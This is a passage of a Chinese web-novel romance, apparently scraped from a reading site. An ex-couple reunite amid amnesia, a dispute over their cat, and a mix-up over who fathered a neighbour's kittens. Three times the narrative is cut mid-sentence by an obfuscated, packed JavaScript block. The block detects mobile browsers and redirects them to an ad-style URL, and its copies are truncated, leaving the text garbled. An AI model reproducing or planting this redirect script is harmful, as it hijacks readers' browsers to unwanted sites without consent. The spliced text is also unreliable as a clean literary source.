陈明清也无奈,“那还不是冲着你来的啊?你这人就是,长得人模狗样,太招人。” 说着这话,他顺势瞥了一眼陈忘野,看他靠在椅背,长腿敞开,两手交叠搭在腿间,手里还攥着手机。屏幕熄灭又被他按亮,再熄灭,循环往复,随着动作他的手臂上爆出些明显的青筋,像是蜿蜒突起的青色山脉,清劲有力。 面色却很冷清,姿态松弛,领口松垮。有点欲,有点野,一双冷淡桃花眼里不含情,显得很厌世。 在他看来就是一副恹恹的富二代渣男样,看着挺好泡,但在那些妹妹看来就是想让人保护和拯救的美强惨浪子。 尤其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101695|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是他还老在外面唱歌招人,眼角一红,多少人都疯了前仆后继地想跟他扯点关系,谁知道他那心比那粪坑里的石头还硬。 来者全拒,不留情面。 他是真狠,也狠得不是一天两天了。 当初黎雾走的时候他以为他要哭个三天三夜呢,结果他一点反应也没有,面无表情,毫不留恋,当天晚上就把她留的所有东西打包一扔,断舍离得干净。 曾经的自由BKing成了天选卷王,一天都没颓,转头就开始学习工作,一干就是七八年。 起初他还以为他是不在乎,时间久了才发现他不是。 用胡桃的话说就是,他好像死了,那双桃花眼里的桃花全谢了,就剩一潭死水。 陈明清和她想法不一样,他觉得陈忘野一直都是一潭表面平静,实则暗流涌动的黑水,早年经历过大风大浪,这些年又在商场翻云覆雨,没什么能打倒他。 即便枯败,也是蛰伏。 他又瞥他两眼,果不其然,像是烂泥池底长出了点青苔,竟然叫他瞧出了些生机,看他盯着手机,上面是小绿站上密密麻麻的文字,又开始嘴角抽搐。 呃怎么说呢,有点儿生机但不多,更像是恶鬼附身,癫得半死不活了。 “有人等你浪子回头,谁知道你就是佛祖屁股下面那块,叫啥?三生石?前世五百次回眸就为了换来今生和某人一次擦肩而过是吧。” 陈明清阴阳怪气,双手一合,“真是感天动地,可歌可泣啊!” 不知是癫了还是怎么,陈忘野竟然觉得好笑还接茬,“那你跪着拜拜我?” “你这前世是造了什么罪孽,什么善良因果,欠谁的,不欠谁的,下辈子会相遇,都给你盘出来?” “你不是最不信命吗?怎么还来劲儿了。” “是不信啊。”陈忘野瞟他一眼,“但看见你我就想起一句话,‘多行善事不忘本,多积阴德不背债’,少干点烂事儿总是好的。” “行行行,我烂,就你不烂。你今天话怎么这么多,还这么贱?” 陈明清眼睛滴溜溜地转,一拍大腿,恍然大悟,“哦她回来,你是不是爽了,憋不住了?” 说着就往人家心窝子上猛捅刀子,“哈哈哈没想到吧,人家把你忘得一干二净。” 知道陈忘野压抑的时间太久,藏得滴水不漏,没有破绽。他本以为黎雾当年离开或者这次忘了他,他至少要大闹一顿,可都没有。 那他就坐等他露出本性的那一天。 - 聊到一半,门铃响了。 陈忘野拖着步伐,踢踏踢踏着拖鞋,慢悠悠地去开门。 开门,是黎雾。 冷空气袭来,她乖巧地站在门口,白围巾上粘着些毛簇簇的雪花,融化成细小的水雾。 她的鼻子冻得红红的,轻轻抽了下,小脸发白,显得很委屈。犹豫了半晌,她自下而上地抬眼看他,像只无家可归楚楚可怜的小兔子,话说得却最倔强,“抱歉,我还有些东西在你家,我拿了就走。” 陈忘野看清来人是她,姿态突然松弛下来,闲散靠在门边,抱着手臂,唇角勾起,拖着腔调问:“刚刚一句话都没说就从我办公室跑了,就没什么要和我解释的?” “剧本的事我会再想办法的。”她小声说。 “谁问你剧本的事儿了。”陈忘野语气闲散。 怕她装不懂,他又问了句,“我们俩的事儿呢?” 没想到是问这个,黎雾愣了下,眨眨眼,理所应当地抬头看他,很无辜地答:“既然都是前男友了,那忘不忘也无所谓了吧,反正我们也没关系了。” 然后很欠地补了句,“至于那小说,你就当我写的是狗。” 她现在真是无心也无力再和他纠缠。 这话一出。 空气骤然安静。 他沉默了半晌没出声,黎雾等得心焦,刚要催促就听见他幽幽开口: “前男友…” “谁告诉你我是你前男友了?” “?” 黎雾怔愣抬眼,正对上他戏谑的目光。 紧接着听见他用最轻描淡写的语气,补了句。 …… “我们儿子你也忘了?” 9.汤圆·煤球 - what?! 还有儿子????? 面前人嘴里说着最离谱的话,神色却泰然自若,面不改色心不跳,眼皮都没眨一下。 黎雾已经分辨不出他哪句话是认真的,哪句话是乱跑火车了。 第六感告诉她,他是想碰瓷。 脑子有点乱,她晕乎乎地跟着他进了家门。门在身后“砰”的一声关上,黎雾抬眼看他,无厘头地问了句:“我们当年不是和平分手?” “不是。”陈忘野淡淡道。 他倚在玄关的墙上,手指在衣袖上轻轻拨弄着,姿态闲适却透着一股压迫感。 见她不理解,他慢悠悠补了句:“我没答应。” “那是我甩的你?”黎雾试探性地问。 陈忘野懒散地靠着,低头装模作样地思索了两秒,轻咳一声,摆出一副受害者姿态,语调低了些:“准确的说,是你和别的男人跑了,抛弃了我。” 他顿了顿,怕她不认账似的,紧跟着接了句,“和孩子。” 我靠。 这整个一个抛夫弃子的负心女啊。 黎雾感觉脑袋嗡的一声,像是被人当头敲了一棒,更懵了:“所以你啥意思啊?咱们没分手,因为你没同意?” 陈忘野蹙眉点头表示认可,拖着尾音,诱导式地开口:“所以咱们现在的状态,准确来说应该是…” 故意顿了句,等着她接下去。 黎雾大脑飞速运转,舔了舔嘴唇,连滚带爬地掉进了他下的套,“冷静期?” 长达七年??? 陈忘野似乎很满意这个回复,唇角弧度渐深,又被他强压下去。 他拉直唇线,面无表情地点点头,语气淡然:“嗯,也可以这么说。” 黎雾自己嘴里说出那个词,自己都难以置信。 知道离婚有冷静期,第一次听说分手也有冷静期的。 陈明清在旁边听这俩人对话听得一愣一愣的,他从黎雾进门就一直在沙发上默默吃瓜,心说陈忘野这狗真是不要脸到一定程度了,直到听到下一句。 “但分不分手对我来说已经不重要了。” “你知道吗,真正的死亡不是心脏停跳。是遗忘。” 他沉着嗓子,“黎雾,我已经被你判了死刑了。” …… - 这边受害者大戏正演到高潮,某人起了范儿,酝酿好情绪,抽抽鼻子,睫毛在眼下投下一片阴影,正准备来段长篇大论的控诉加洗脑。 他语速放缓,又似是下了天大的决心,宽宏大量般地说: “当然,但如果你想挽回我。” “我也不是,不能,勉为其难…” “叮咚叮咚叮咚——”门铃突然响了。 催命符一般,吓得几个人都是一惊。 陈明清吃瓜吃到兴头上,眼睛都不舍得眨一下,生怕错过任何细节。他担心陈忘野情绪受干扰,赶紧从沙发上弹起来,屁颠屁颠地代替他去开门。 他拉开门,走廊的灯光照进来。 看清来人,陈明清挠挠头,这下是真无奈了。 “怎么又是你啊姐姐。” 说曹操曹操到。 门外是刚刚他和陈忘野聊天时提到的,那个想让煤球喜当爹的美女。 上次陈明清已经给她解释了半天,好不容易把她说服了,没成想陈忘野正好回家,美女看见他突然又不认账了。 她眼神一亮,话锋一转,说她家小猫这些天就只接触了他家猫,没别的可能。 如果不是他家猫把她家三花肚子搞大了,他们就得帮她找到犯罪嫌疑猫才行。 刚一开门,黎雾就听见门外女生的声音尖锐:“哪有这样的啊,把人肚子搞大了撒手就不管??” 陈明清叹息:“姐姐,我都说了多少次了,他就是有这心也没这力啊!” 他一字一顿地强调:“他、不、行!你懂吗?!” “跟你有什么关系。你一直在这说干什么!你叫当事人出来啊!” 陈明清回头朝陈忘野不耐烦地摆摆手:“叫你呢!过来呀!” 陈忘野没犹豫,快步走到门口,收起了刚刚的吊儿郎当,面色冷静,连带着语气也显得冷,“我记得已经和你说得很清楚了。谁主张谁举证,你要的证据我给不了也不会给。” “我到你家敲门也没人,给你弟弟发微信他也不回,哪有你这种不负责任的人啊?” 女生不甘示弱,向前迈了半步,朝他晃晃手机,“至少你得给我一个你的联系方式吧。” “实际孩子是不是我家的,你我都心知肚明吧。”陈忘野似乎有点不耐烦了,低下眼,嘴角紧绷,话说得毫不客气,“还是请你自重些,闹成这样谁都不好看。” 啥情况,一夜情还不负责? 黎雾在旁边吃瓜吃得津津有味,好久没见过这种场面了。她真是没看错人,这人果然不靠谱,烂人一个。 这些年她在国外听了不知道多少这种故事。 国内国外各找一个女朋友的都算轻的,还有同时找四五个女朋友,花言巧语让每个都以为自己是唯一实则是炮友的,还有背着女朋友天天出去嫖,把病传染给女生不说还反咬一口倒打一耙的。 物种多样性就体现在这些渣男身上了。 眼前这人显然也是,即便有一张极好的皮囊,内里也是败絮一团,不堪入目。 陈明清也快发疯了,嚷嚷道:“真的,他不行!难不成还要扒开给你看他的弟弟你才信吗!给孩子留点隐私吧!” “你怎么还开黄腔呢!”女生惊叫。 “诶呦我天呐我的姐姐,我开什么黄腔了。” 黎雾都想冲上去和那女生一起骂他了,刚准备出手就见陈明清慌慌张张冲进客厅,“呲啦”一声拉开地上的一个大包。 “犯罪嫌疑猫,快出来证明一下,你是不是不行!” 紧接着,从猫包里钻出来一只黑脸小猫,似乎是刚睡醒,它趴在地上伸展着身体,打了个大哈欠,小舌头微微卷起,随后伸了个懒腰,毛茸茸的身体弓成一道弧线。 小猫脸圆圆的,眼睛也圆圆的,浑身肥嘟嘟肉嘟嘟,一条大毛绒尾巴翘得老高,仰着头一颠一颠地走过来,像只黑脸的迷你小老虎,姿态雄赳赳气昂昂。 陈忘野和女生正在门口僵持,忽地听到背后一声惊叫—— “啊啊啊啊啊汤圆!!!!!!!宝宝宝宝!!!你还记得妈妈吗!!” 回头一看,黎雾蹲在地上搂紧小猫,情绪激动,脸颊泛红,眼神带光,像是找到了失而复得的宝贝。 她抱起猫就是一顿狂亲,“我是妈妈呀!!!” 小猫咪雄赳赳气昂昂地刚走到一半,被人中途截胡,被黎雾抱起失重的瞬间,它喵呜了一声,下意识想推她,触到她脸颊的瞬间,像是有熟悉的感觉,随即收回了爪。 毛茸茸的小爪子没使力气,只是贴在她的脸颊,耳朵尖尖立着,微微向外展开,像两个小雷达,略显警觉但也没抗拒。 “呜呜呜呜呜呜宝宝,你胖了好多,你的脸好圆啊。你越来越像一个胖胖圆球了,你好可爱啊宝宝呜呜呜呜呜呜。” 小猫还没反应过来,有点呆滞,被黎雾搂在怀里,任她揉扁搓圆,脸都变了形。 “你还记得它…?”陈忘野回头问,语气略显迟疑。 “当然记得!我儿子啊,是不是啊宝宝宝宝。” 门外的美女才注意到家里还有个女生,她后退了步,面色尴尬,试探着问:“你是它…妈妈?” 没等她回答,她转头看向陈忘野,上下打量了他一番,又看了看黎雾怀中的小猫,问了句:“你呢?” “这还看不出来?我是它…”陈忘野握拳到嘴边,欲盖弥彰地咳嗽一声,目光闪烁,顿了下,“爸爸啊。” “哦…这样啊…”女生低下头,语气有点失落。 黎雾抱着小猫走到玄关处,小声问陈忘野,“所以不是你把人肚子弄大?是汤圆?” “不然呢?”陈忘野听到这问题都不知道是该哭还是该笑。 在她心中他到底是个什么形象。 他深呼口气,强压下怒气,转移了话题,“而且它不叫汤圆,叫煤球。” 黎雾理所应当:“它就叫汤圆啊。” “煤球。” …… 小猫从黎雾怀中挣扎着跳到地上,绕着她转了几圈,尾巴高高翘起,时不时轻轻扫过她的小腿。它先是凑近好奇地轻闻了闻她的裤脚,鼻子微微抽动,像是在确认什么,然后很自来熟地靠在了她的脚边,毛茸茸的身体贴着她的脚踝,仰头和她对视。 一身柔软的奶白色毛发在灯光下泛着珠光,只有圆脸中间呈现灰色,从耳朵到鼻子逐渐变深,像是一颗漏了馅儿的黑芝麻汤圆。 “什么煤球,就是汤圆,还是黑芝麻馅儿的。”黎雾伸出根食指戳戳小猫的脑袋,指尖陷入柔软的毛发中,眼睛弯成了月牙,“是不是?” 陈忘野不让步,语气不容置喙,“煤球就是煤球,汤圆也太嗲了。他是个男孩。” “煤球是纯黑的懂吗?怎么能叫煤球,那么难听,宝宝该自卑了。” 这下也没人管小猫喜不喜当爹了,陈明清听着这对话就绝望,靠在墙上无语望天:“我天啊我服了,你们七八年前就在吵这个,怎么现在还在吵,都不腻的吗。” 此话一出,陈忘野瞬间意识到了自己的失态。 外人面前的沉着冷静都功亏一篑,好像回到了小时候。 只有她能牵动他的情绪。 在她面前,他总是会变得特别幼稚。 为一个游戏一道题,能跟她争几个小时也不嫌累。 …… 某人忽然沉默下来。 那头,黎雾还在了解事情原委。 陈明清给她解释道:“情况大概就是这么个情况,人家让咱给她出示绝育证明,去哪给她找。” 他啧啧嘴:“你看这小猫多无辜,飞来横祸。” 可怜又无助。 话是这么说,但地上的当事猫没有一点自觉。它很松弛地坐在地上,尾巴盘绕在身侧,仰起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114934|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头懒洋洋地看他们吵架,眼睛在灯下像蓝玻璃一般清透,乍一看很无辜,仔细看看,那神情和某人很像。 事不关己,高高挂起。 了解完情况,黎雾点点头,回身看着女生,下了结论,声音不急不缓:“它不可能让你家小猫怀孕的。” 她耐心地解释,娓娓道来:“它是我8年前在校门口捡的一只流浪猫。我捡它的时候它才两三个月大,可能是患有隐睾身体不好才被遗弃了。” “我在它8个月左右大的时候带他去做的绝育和隐睾治疗,当时它做手术开膛破肚,差点就没撑过来。” “那时候我每天在学校上课都不安心。家里装了摄像头,我就在手机上偷偷看它,生怕它出事。大概陪了它一星期左右它才彻底恢复。” “你要是想找猫爸爸的话,咱们小区确实是有一只流浪小公猫,我刚刚在楼下还喂它了。” 她低头翻翻手机,找出照片递给她看,“你看,它挺漂亮的,也很乖。” “道理我觉得你都懂。” “如果是真是作为猫家长想讨个说法,无可厚非。” 黎雾顿了顿,犹豫过后还是开口,语气比以往都冷静不少,“但如果是为了别的,就也别拿孩子当借口。” “你知道的,孩子拴不住男人。” …… - 她的话说得有理有据,平静而理性,挑不出瑕疵。 女生没再多言,道谢后就离开了。 家里的空气突然安静下来。 陈忘野靠在墙边,眸色深了些:“没想到你对小猫的记忆还是挺深刻。” “那当然。”黎雾仰头一笑,情绪又高涨起来,“它可是我的宝宝啊。忘了谁我也不会忘了它。” “是不是?”她抱着小猫像抱小婴儿一样,把它四脚朝天翻过来,低头埋进去狂吸它的肚皮,小猫弱弱地喵呜了一声,像在抗议。 陈忘野刚拼凑好的平静又碎了一地,他轻笑一声,语气冷漠,“合着只有我被你判了死刑。” “你别听他瞎扯。”陈明清算是听不下去了,秉持着十几年纸尿裤搭子的良心,他提醒黎雾,“虽然你是负心女是真的,但毕竟你现在是病人,还是先好好休息。” 被闹了这么一大出,黎雾差点都忘了自己来的目的,“哦对,我是回来收拾行李的,这也不是我家。” 她说着就奔向客厅墙角的一个行李箱,拿起转身就想走。 “啊?这么着急?”陈明清一愣,“你们俩的事谈妥了吗你就又要走,这次不会是直接消失70年吧。” 他拦住她:“等会,陈忘野做饭了,你先吃两口再说。” 他拖着黎雾到客厅,把她按在椅子上,“咱怎么说也是十几年的好兄弟,也不能眼看着你这么不清不楚不明不白地身无分文露宿街头啊,被坏人拐跑了怎么办。” “我是失忆,又不是失智。只是忘掉了一些没用的东西罢了。”说着这话,她似有若无地瞥了一眼陈忘野。 不知道是不是意有所指,当事人察觉到她的目光,抱起手臂微不可察地“呵”了一声,侧过头去。 谁稀罕似的。 黎雾也不理他,拎起小猫接着吸,“妈妈记得你就够了,是不是呀宝宝muamuamua。” 紧接着她“突突突突”连续亲了猫十几下,像机关枪一样,“来吧,让妈妈好好爱爱你!” - 没几分钟的功夫,整个房间就飘着饭菜的香味。 热气蒸腾,配合着油滋滋的爆炒声蔓延在空气,与窗外呼啸的寒风形成鲜明对比。 厨房是开放式的,黎雾坐在客厅能直接看到厨房中两人忙碌的身影。 行吧,有人服侍她给她做饭吃,也不亏。 又过了半晌。 她从小猫身上猛地抬起头,爽得像是刚吸过毒一样,眼神有点迷离,一拍桌子,下定了决心,“我决定了!” 大概是很习惯她的一惊一乍,厨房那俩男的眼皮都没抬一下,低头忙着自己的活,都不搭理她,黎雾不太满意,朝陈忘野挥挥手吸引他的注意,“喂。” 站在那个位置,他不可能没注意到这边的动静,就好像故意和她作对似的,慢条斯理气定神闲地进行着手中的动作,洗菜,摘菜,切菜,愣是没抬眼。 这人怎么这么矫情。 黎雾没办法,硬着头皮喊他的名字,“陈忘野。” 那边终于有了点动静,站在水池前调整了下姿势,缓缓掀起眼皮,目光丢过来,“嗯?” “你怎么都不问我决定了什么?”黎雾问。 还能决定什么。 难不成是觉得两人一猫挺美好,决定不走了? 陈忘野挑起眉稍,心情看上去不错,薄唇轻启,语气一如既往的狂妄,言简意赅,“说。” 她捏起怀中煤球的猫爪,炫耀似地朝他挥一挥,像在宣示主权,歪头一笑,语气轻快,气死人不偿命。 “我决定了。” …… “我不仅要走,我还要带着孩子一起走!” 10.鸡飞·狗跳 - 窗外大雪纷飞,屋内一室暖光,饭菜香飘香四溢,脚下小猫跑跳,玩铃铛发出叮叮当当的声响。 陈明清往嘴里塞了口米饭,食不知味,眼前明明是人类能想到的最温馨的场景,只可惜有两座冒着冷气的死冰山屹立在他两侧,直接把气温降至了冰点。 刚刚在黎雾发表了要带娃离家出走的惊天言论后,厨房里,陈明清把他哥拉到一边,小声嘀咕:“你说她会不会是装的啊?” 陈忘野很无语,懒得理他:“你觉得呢?” “你怎么这么轻易就接受了这个设定啊?” 陈明清压低声音:“这可是失忆症啊,多离谱。” “那我还能怎么办?杀了她?” 陈忘野冷哼一声,破罐子破摔的样子,轻扯唇角,“还是杀了我自己给她助兴?” “也是,她愿意回来就不错了。”陈明清点点头,“以她的个性,就算是装死也不可能装傻。” 陈忘野每每想起,她记得全世界却只忘了他,就没法控制得不爽,连带着表情也变得冷漠。跟和全世界都有仇似的,连择菜都比以往使劲儿不少,掰下菜根,“啪”地扔进水池。 “不过也不是没可能,搞不好她就是回来和你抢猫的,抢到了就想跑。”陈明清秉持着气死人不偿命的原则,继续在旁边煽风点火。 “原本是想偷的,偷偷溜进你家,但昨晚没找到猫,还没偷成就被咱们抓包了,她没办法又不想和你牵扯,只能出此下策。” 陈忘野啧了一声,连敷衍都觉得疲惫:“你这么能编,要不你去写小说?” “我这哪是写小说,这是合理推测。”陈明清沾沾自喜说,“我应该去做侦探才对,专抓离婚出轨抖机灵。” …… 如今饭桌上,这事儿的余韵似乎还没过去。 只不过陈忘野是不高兴。 而黎雾是纯心虚。 黎雾能看出来陈忘野好像挺烦她,刚刚说的什么分手冷静期应该就是诓她,想拴住她怕她跑路的。 也是,从他角度来看,她破坏他公司利益不给他交剧本终稿不说,还写出了一篇公开他隐私酸掉人大牙的狗血校园文恶心他,不仅如此,她还登堂入室抢他房子,现在竟然还要抢他儿子。 确实有点离谱。 而且她还不止干了这么几件荒唐事。 想想二十分钟之前,她先是一脚就把他的花盆踢翻了,匆匆忙忙跑进厨房还没来得及认错,就听见陈明清在外面嚷嚷:“哥!煤球又把你花盆弄翻啦!你一会儿记得收拾下!” 然后她就默默地出去了。 看到陈忘野气汹汹地出来,一把拎起小猫,“又干坏事是吧?今晚没有零食了。” 小猫“喵呜”一声。 一波未平,一波又起。 她想找个地儿休息,结果一屁股就把他刚包好的包子,全坐扁了。 呃…但这也不能都怪她。 这个包子放椅子上,用布盖上,正常人谁能注意。她累了,一屁股坐下去,竹帘在身下咯吱咯吱响,她寻思这椅子不对劲,还前后左右晃悠了几下。 然后,她低头掀开白布一看,看到他刚包好的圆鼓鼓的包子就跟被降维打击了似的,3D变2D,像刚摊好的大饼一样黏在垫板上。 她心说,完了。 然后若无其事地把布盖上,没过多久就看见陈忘野拿着擀面杖追着陈明清满屋子跑。 她一边心想都多大人了,怎么还这么幼稚,一边赶忙“恰巧”路过,比他俩更惊讶,捂住嘴:“我天啊,这咋回事啊,你这包子是出车祸了吗?怎么全死了???” 然后默默地伸手,再一次用白布给包子盖好,静悄悄默哀。 陈忘野没搭理她,就算是躲过一劫。 再然后,她和汤圆玩着玩着,突然意识到想把猫带走就还是得献献殷勤,于是去厨房上下翻腾想找点灵感。 寻摸鼓捣半天找出了一个茶壶,又烧了壶开水,心想着给他泡壶浓香好茶聊表下心意。 结果泡成了木耳,把茶壶都顶开了。 在他收拾完花盆,回到厨房蒸“包子”忙得不亦乐乎的时候,她凑上前,笑吟吟地说,来,尝尝我给你泡的绝世好茶。 茶嘴都弯到90度了,倒半天愣是一滴都没倒出来,她才觉得奇怪,打开盖子都愣了,还仰头很单纯地眨眼问他,“你这茶叶怎么还会变大啊?” 陈忘野是真被搞无语了,扯了下嘴角,“我谢谢你啊,这可真是惊天地泣鬼神的好茶。” 话说的咬牙切齿的。 彼时她一时没反应过来,真不理解,拿出一片吸水的“茶叶”,在他面前晃晃:“不是,怎么变这么大啊?” 陈明清突然入镜,笑得格外猥琐,看了眼黎雾,紧接着上下扫视陈忘野,笑吟吟道:“他还有别的东西也会变大呢。” 然后被陈忘野连踢带踹赶出了厨房。 这顿饭算是磕磕绊绊做完了。 餐桌上的气氛有些微妙,胡桃也来了,和陈明清对了几个眼神后,她讪笑了两声,拿起一个包子啃了一口,试图缓和气氛:“哈哈…你们还挺有创意的啊,我还是第一次见到蒸馅饼,还挺好吃的。” 然后眼见着餐桌上的气氛更冻人了。 陈明清翻了个白眼,心疼自己被踹过的屁股,心说,“姐,能别哪壶不开提哪壶吗。” 黎雾冷汗都快下来了,如坐针毡,陈忘野瞥她一眼,看破不说破。 早知道,哪有她哪就有鸡飞狗跳。 - 饭桌上,四个人聊到了最关键的黎雾住房问题。 胡桃扯扯她的袖子:“黎黎,我现在还住在大学的研究生宿舍,还有半年就毕业了,再过两三个月找房子,到时候咱们可以一起住。” “你先凑合两三个月,忍忍。” “实在不行你就回家住吧。” 黎雾头摇得像拨浪鼓,“不行啊,我连我爸都忘了,回去肯定会露馅的。我也不想让他们担心。” “哦。你把你爸也忘了啊?”陈忘野抓住了重点。 “嗯,目前已知是忘了这些。”黎雾点头,“但很有可能还忘了其他的,我还没意识到。” 所以不是只有他一个人被忘了。 意识到这件事的一瞬间,陈忘野没忍住弯了下嘴角,紧接着觉得自己真是疯了,“呵”了声,嘴角轻颤。 又要癫了。 “那你想好这几个月怎么办了吗?”胡桃问,“要不我借你点钱,你先租个房子?” 黎雾沉默了半晌,“嗯”了声,“我会去打工的,等我赚到钱马上就还……” 话还没说完,陈明清和他哥交换了个眼神,赶紧插嘴打断了她,一拍桌子:“哦对我差点都忘了!这房子其实也有我一半。” 他搂过陈忘野的肩,“我俩一起拿开酒吧赚的钱买的。” 随即他大方地朝黎雾摆摆手,“我把我那一半借给你了,不要钱。” “真的假的?”黎雾蹙眉,满脸写着,“你有那么好心?”。 “呦呵,啥意思啊?把人好心当成驴肝肺是吧。要不是看在咱们二十几年的情分,我才不会……” “那你住哪?”黎雾问。 “我当然是住我自己家啊,还能住哪…”差点说漏嘴,陈明清赶紧改口,“呸呸呸”地打了下他那张死嘴,“哦不是,我的意思是,我房子多了去了。你又不是第一天知道我是富二代。” 关键时刻人脉还有点用。 “谢谢你啊,真不用房租?”黎雾将信将疑,总觉得有诈。 哪有这种天上掉馅饼的好事。 谁要是真相信,老了活该被卖保险。 早就知道她生性多疑,这几个问题陈明清都不知道被某人排练过多少遍了,他信手拈来,“哦,小时候你借我抄过不少作业,还在我被我爸揍的时候帮我打过不少掩护,这大恩大德,我说好要还你的。” “而且这房子可不是白借的啊,等人手不够的时候你去gift帮我打打杂吧。” 黎雾果然放下戒心,“哦,那确实。” 然后她又问了句,“那家店是你开的啊?” 陈明清“嗯”了声,下巴抬起,朝陈忘野扬了扬,“对啊,他就是我请来的驻唱歌手,我才是老板。” “那酒水单也是你写的?” 黎雾还记得“gift”的酒水单相当有个性。 丧系浪漫,幽默怪诞。 她敲敲手机,翻出那天拍的酒单照片。 「No.7 失眠者的月光曲 Insomniac''s Moonlight Sonata 数羊太无聊,倒不如数数月亮的皱纹 #月光酒/薰衣草糖浆/牛奶/蜂蜜/肉豆蔻粉/9.8 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他清清嗓子,一副正人君子的模样,“不是我讹钱啊,你自己看看这地段,这面积,这大落地窗,这夜景,我去哪儿能再找到这么好的房子啊。” “而且这价钱又不是一间小卧室的价。”陈忘野指指脚下,又指指隔壁,“这相邻的两间房我都买下来了。客厅这里打通,只开了道小门,连接两个房子。都是三室一厅。” “我住那边,你住这边,平常根本见不到的。” 他摊摊手,撇了下嘴,语调闲闲的,“当然你要还是介意,大可以搬走。” 见黎雾还在犹豫,这一桌子人眼看着某人戏瘾又上来了。 “本身陈明清不在,我一个人可以霸占六室两厅的。”陈忘野语气轻飘,又似受了天大的委屈,“啊——”地叹息一声,“你一来,我空间可是被侵占了一半。” 可惜黎雾不吃这套,低头撸着躺在她腿上乖乖睡觉的汤圆,闻言抬眼讪笑问,“行,我不侵占你空间。那我走的时候可以带猫一起走吗?再给你腾点空间。” “你觉得呢??” 陈忘野都气笑了,“自己流浪还不够,还想带孩子一起流浪啊?” 他算是发现了。 他就是一次又一次地在确认和鞭尸—— 她是真不在意他。 她又什么时候在意过呢? …… 黎雾竖起三根手指比在耳边,语气郑重:“我保证,有我一口吃的就绝对有它一口。不对,就算我不吃都得让它吃。” “想都别想。” 陈忘野止住笑意,语气忽然低了些,“这七年都是我在照顾它,你倒轻松,想丢就丢想要就要是吗?” “这和你最唾弃的那些不负责任的渣男有什么区别。” 他说的确实也有道理,所以她要想和猫呆在一起就还得留在这里。 黎雾叹息。 只能极力说服自己,他们根本称不上室友,最多算是邻居。 思前想后,她又不放心地去跑前跑后看了下,确认两边门都能上锁。 只要锁上就很安全。 唉,孩子拴不住男人,但可以拴住妈。 她能怎么办。 11.小说·复盘 - 吃完饭,黎雾抱着猫挪动到沙发,整个人陷在像云一样软趴趴的靠枕里。指尖下小猫温热的皮毛顺着呼吸轻轻起伏,她忽然有种莫名的安心。 这些天,回国、失忆、住院、身无分文的生活经历了遍,人都苍老了几分。突然歇下来才意识到,她的身体早已比想象中疲惫。 窗外的夜色渐浓,屋内吊灯的暖光熨着她的每一寸疲倦。 黎雾伸了个大大的懒腰,把脚翘得高高的,搭在沙发背上,顺手打开了电视,综艺节目的背景音传出,整个房间顿时又热闹了些。 舒服。 真的舒服。 有家可归的感觉就是好。 厨房那边叮叮当当作响,陈忘野正在刷碗,袖子挽到手肘,露出线条分明的小臂。黎雾直起身子扭头瞥了他一眼,视线不经意间穿过客厅与厨房间的距离,刚好和他对上目光。 她愣了下,不太自然地错开眼神,若无其事地躺了回去。 陈忘野挑眉,“哼”了一声。 几个意思?嫌他刷碗太吵? 影响她看电视了? 他心里不爽,眉头微蹙,但还是乖乖地把水龙头拧小了些,手指小心翼翼地控制着水流,动作也放轻,尽量不让盘子相互摩擦发出声响,空气顿时安静了不少。 就显得电视声格外清晰,像是突然打开了扩音器。 他扭过头,想看看她是在看什么电视那么专注,视线穿过水汽与客厅间的空隙。 是个离婚综艺。 画面上一对夫妻面对面坐着,女方表情坚决,男方一脸无奈。 刚好放到分家,女生的声音清晰地传出,决绝里带着期待: “离婚了,钱和孩子能归我吗?” 陈忘野:…… 合着她是跟这儿学习呢。 陈忘野闭眼呼了口气,胸口起伏了一下,没忍住,手腕一翻,“啪”地开大水龙头,水流汹涌“哗哗”泻出,总算盖过了电视的声音。 耳不听,心不烦。 “他又咋了啊?”黎雾压低声音问胡桃。 胡桃坐在单人小沙发,膝盖上放着一包薯片,看综艺看得正上头,有一搭没一搭地敷衍她,目光始终没离开电视屏幕:“还能是咋了啊,觉得自己又做饭又刷碗心里不平衡了呗。男的都这样,矫情。” 她塞了一片薯片进嘴,发出脆响。 “哦…”黎雾点点头,“那我是不是应该去帮帮忙啊?” “你帮什么忙,你是病人,好好歇着。” “桃子,我有个事要问你。”黎雾忽然说。 综艺正好播完,胡桃按灭电视,转过身来,洗耳恭听:“什么事儿呀?” “我问你哈。”黎雾吞吞嗓子,手指无意识地捻着抱枕边缘的线头,“我那小说,是写实的吗?” 提到这个胡桃顿时来了兴致,眨眨眼,笑意从眼角一直蔓延到嘴角,快咧到耳根了:“我今天把你那小说看了,看得我那是一个心潮澎湃,春心荡漾啊。” “他校门口抽烟,你美救英雄的事是不是属实我不清楚,但是他转学过来,咱们给他科普1班特权,还有后来表彰榜的部分,那是……”胡桃故意顿了个句。 黎雾被她勾得心痒痒,身体不自觉地前倾,顺着问下去:“那是…?” 胡桃斩钉截铁:“那是,100%属实。” “啊——”黎雾突然觉得更疲惫了,整个人脱力地躺回去,陷在沙发里,手臂搭在额头上。 果然。 还真的是写的她自己的事。 